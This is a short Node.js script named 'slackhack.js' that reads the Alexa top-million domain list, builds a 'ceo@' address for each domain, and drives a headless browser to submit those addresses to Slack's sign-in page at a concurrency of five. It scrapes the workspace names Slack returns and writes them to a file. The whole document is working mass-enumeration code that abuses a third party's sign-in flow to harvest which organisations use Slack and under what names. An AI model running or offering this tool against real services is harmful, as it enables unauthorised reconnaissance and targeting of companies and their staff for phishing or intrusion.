slackhack.js

'use strict';
// mkdir slackHack && cd slackHack
// wget http://s3.amazonaws.com/alexa-static/top-1m.csv.zip && unzip top-1m.csv.zip
// npm install cheerio nightmare JSONStream csv-stream concurrent-map-stream
// node slackhack.js & tail -f domains.json
var cheerio = require('cheerio');
var Nightmare = require('nightmare');
var fs = require('fs');
var JSONStream = require('JSONStream');
var csv = require('csv-stream');
var queue = require('concurrent-map-stream');

fs.createReadStream('./top-1m.csv')
.pipe(csv.createStream({
  columns: ['index', 'domain']
}))
.pipe(queue(function(data, cb) {
  slackHack("ceo@" + data.domain, cb);
}, 5 /* concurrency */))
.pipe(JSONStream.stringify())
.pipe(fs.createWriteStream('domains.json'));

function slackHack(email, cb) {
  console.log('slack hackin', email);
  new Nightmare()
    .useragent('slack-nightmare')
    .goto('https://slack.com/signin')
    .type('.control-group input', email)
    .click('.btn')
    .wait()
    .evaluate(function (page) {
      return document.documentElement.innerHTML;
    }, function (res) {
      var $ = cheerio.load(res);

      var groups = [];

      $('a.btn-outline.small_right_margin').each(function(i, elem) {
        groups[i] = $(this).text().replace(/Sign up for/ig,"");
      });

      var domain =email.substr((email.indexOf("@")+1));
      cb(null, {domain: domain, groups: groups});
    })
    .run();
}